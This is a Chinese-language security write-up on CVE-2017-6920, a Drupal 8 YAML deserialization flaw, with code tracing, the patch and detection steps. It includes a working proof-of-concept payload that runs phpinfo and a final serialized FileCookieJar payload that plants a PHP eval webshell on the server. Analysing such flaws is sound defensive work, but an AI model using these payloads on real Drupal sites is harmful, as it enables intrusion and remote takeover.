CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造

[漏洞分析]

0x01 漏洞描述

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

0x02 漏洞分析

通过diff 8.3.3与8.3.4的文件可以发现漏洞的触发点,如下图:

image
image

可以看到,8.3.4 decode函数的开始处增加了如下的代码:

if (!isset($init)) 
{ // We never want to unserialize !php/object. 
ini_set('yaml.decode_php', 0); 
$init = TRUE; 
} 

漏洞所在函数decode的触发点代码如下:

$data = yaml_parse($raw, 0, $ndocs, [ 
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]); 

decode函数的参数$raw被直接带入了yamlparse函数中,官方文档对于yamlparse函数的描述如下:

yamlparse
(PECL yaml >= 0.4.0) yaml_parse — Parse a YAML stream
Description 
mixed yaml_parse ( string $input [, int $pos = 0 [, int &$ndocs [, array $callbacks = null ]]] ) Convert all or part of a YAML document stream to a PHP variable.
Parameters 
input The string to parse as a YAML document stream.
pos Document to extract from stream (-1 for all documents, 0 for first document, ...).
ndocs If ndocs is provided, then it is filled with the number of documents found in stream.
callbacks Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.
Return Values 
Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.    

第一个参数是需要parse成yaml的文档流。从上文来看,只有yaml_parse的第一个参数是外部可控的。官方对这个函数有一个特别的说明,也就是该漏洞的触发原理:

Notes 
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting. 

即可以通过!php/object来声明一个节点,然后用这个!php/object声明的节点内容会以unserialize的方式进行处理;如果要禁止这样做,就通过设置yaml.decode_php来处理,这就是官方补丁在decode函数前面加的那几行代码。因此,这个远程代码执行漏洞的罪魁祸首就是yaml_parse函数可能会用反序列化的形式来处理输入的字符串,从而导致通过反序列化类的方式来操作一些危险类,最终实现代码执行。 显然,控制decode函数的参数即可触发该漏洞。先定位decode函数的调用位置,在/core/lib/Drupal/Component/Serialization/Yaml.php中第33行发现:

 public static function decode($raw) {
$serializer = static::getSerializer(); 
return $serializer::decode($raw); 
}

该函数调用了getSerializer函数,跟踪该函数在/core/lib/Drupal/Component/ Serialization/Yaml.php中第48行发现:

protected static function getSerializer() {
if (!isset(static::$serializer)) {
  // Use the PECL YAML extension if it is available. It has better
  // performance for file reads and is YAML compliant.
  if (extension_loaded('yaml')) {
    static::$serializer = YamlPecl::class;
  }
  else {
    // Otherwise, fallback to the Symfony implementation.
    static::$serializer = YamlSymfony::class;
  }
}
return static::$serializer;
} 

如果存在yaml扩展,$serializer就使用YamlPecl类,然后调用YamlPecl这个类中的decode函数;如果不存在yaml扩展,就用YamlSymfony类中的decode函数。显然,一定要迫使代码利用YamlPecl类中的decode函数,这需要引入yaml扩展,Linux平台的步骤如下:

(1)编译yaml

http://pecl.php.net/package/yaml下载tgz源码包,然后执行tar -zxvf yaml-1.3.0.tgz cd yaml-1.3.0 phpize ./configure make make install,执行完返回一个文件夹名字,这就是生成的扩展所在目录。

(2)引用扩展

修改php.ini中的extension_dir为该扩展所在目录,然后加上 extension=yaml.so 就可以了。

windows平台步骤更简单,在http://pecl.php.net/package/yaml中下载对应的dll文件,然后将php_yaml.dll放入php扩展文件夹下,然后修改php.ini,将extensiondirphpyaml.dll所存放的目录,然后加上 extension=php_yaml.dll

最后重启apache,看到phpinfo中有yaml扩展,就说明安装成功,如图:


image

现在yaml扩展已经准备好,最后定位外部可控的输入点。上文中YamlPecl::decode是在Yaml::decode函数中调用的,继续回溯全文调用Yaml::decode函数的地方,发现外部可控的地方只有一处, 在/core/modules/config/src/Form/ConfigSingleImportForm.php中第280行:

public function validateForm(array &$form, FormStateInterface $form_state) { // The confirmation step needs no additional validation. if ($this->data) { return; }
try {
  // Decode the submitted import.
  $data = Yaml::decode($form_state->getValue('import'));
}
catch (InvalidDataTypeException $e) {
  $form_state->setErrorByName('import', $this->t('The import failed with the following message: %message', ['%message' => $e->getMessage()]));
}

这里对外部输入的import值进行Ymal::decode操作,因此这里就是漏洞的数据触发点。

要利用该漏洞进行远程代码执行,需要一个可以利用的类。Drupal使用命名空间的方式来管理类,可以全局实例化一个类,也可以反序列化一个类;该漏洞利用了反序列,因此需要找一个反序列类。通过_destruct以及_wakeup来定位类,全局搜索可以找到几个可利用的类。

(1)/vendor/symfony/process/Pipes/WindowsPipes.php中的89行:

public function __destruct()
 { 
$this->close(); $this->removeFiles(); 
}
 private function removeFiles() 
{ 
foreach ($this->files as $filename) 
{ if (file_exists($filename)) { @unlink($filename); } } 
$this->files = array();
}

通过反序列化这个类可以造成一个任意文件删除。

(2)/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php中第37行:

public function __destruct() { $this->save($this->filename); }
/**
Saves the cookies to a file. *
@param string $filename File to save
@throws \RuntimeException if the file cannot be found or created */ 
public function save($filename) { 
$json = []; 
foreach ($this as $cookie) { /* @var SetCookie $cookie */ 
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { 
$json[] = $cookie->toArray(); 
} 
}
$jsonStr = \GuzzleHttp\jsonencode($json); 
if (false === fileput_contents($filename, $jsonStr)) 
{ throw new \RuntimeException("Unable to save file {$filename}"); } 
}  

通过反序列化这个类可以造成写入webshell。

(3)/vendor/guzzlehttp/psr7/src/FnStream.php中第48行:

public function __destruct() { 
if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } 
} 

通过反序列化这个类可以造成任意无参数函数执行。

0x03 漏洞验证

启明星辰 ADLab 通过对本漏洞的深度分析,构造了任意无参数函数的POC并测试验证成功,具体验证情况如下:

第一步:序列化一个GuzzleHttp\Psr7\FnStream类, 因为序列化后的字符串可能带有不可显示字符,所以采用把结果写入到文件的方式,序列化后的字符串如图:

image

第二步:给该序列化字符串加上yaml的!php/object tag(注意一定要转义),最后得到的字符串如下:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

第三步:登录一个管理员账号,访问如下url: http://localhost/drupal833/admin/config/development/configuration/single/import,然后我们进行如图所示的操作:

image

然后点击import按钮,就会执行phpinfo函数。

image

0x04 漏洞修复

最新发布的Drupal 8.3.4 已经修复了该漏洞,针对低于8.3.4的版本也可以通过升级Drupal文件/core/lib/Drupal/Component/Serialization/YamlPecl.php中的decode函数进行防御(添加如下红色代码即可):

public static function decode($raw) {
    static $init;
    if (!isset($init)) {
      // We never want to unserialize !php/object.
      ini_set('yaml.decode_php', 0);
      $init = TRUE;
    }
    // yaml_parse() will error with an empty value.
    if (!trim($raw)) {
      return NULL;
    }
......
}

0x05 漏洞检测

针对该漏洞,可采用两种方法进行检测:

方法一:登陆Drupal管理后台,查看内核版本是8.x,且版本号低于8.3.4,则存在该漏洞;否则,不存在该漏洞;

方法二:在Drupal根目录下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函数public static function decode($raw),如果该函数代码不包含" ini_set('yaml.decode_php', 0);"调用,则存在该漏洞;否则,不存在该漏洞。
神奇的PoC:

!php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:32:\"/var/www/html/drupal-8.3.3/x.php\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:9:{s:4:\"Name\";s:3:\"foo\";s:5:\"Value\";s:3:\"bar\";s:6:\"Domain\";s:27:\"<?php @eval($_POST['c']);?>\";s:4:\"Path\";s:1:\"/\";s:7:\"Max-Age\";N;s:7:\"Expires\";i:1504698708;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}" 
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,948评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,371评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,490评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,521评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,627评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,842评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,997评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,741评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,203评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,534评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,673评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,339评论 4 330
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,955评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,770评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,000评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,394评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,562评论 2 349

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,633评论 18 139
  • Composer Repositories Composer源 Firegento - Magento模块Comp...
    零一间阅读 3,956评论 1 66
  • 回首页 第一部分 Drupal简介 Drupal overview A tour of Drupal fundam...
    王乂阅读 2,011评论 0 9
  • 济南 文/高小刀 迄今为止,我也先后走过了几座城市。他们有的繁华,有的却寂寥,或者朝气蓬勃,像是豆蔻年华的姑娘,已...
    高小刀阅读 310评论 1 2
  • 一如往常一样,一本书看完了也就忘的差不多了,以至于时间一久,有时候竟然记不起来自己读过什么书,想来总有些懊恼,这本...
    潘志峰阅读 161评论 0 1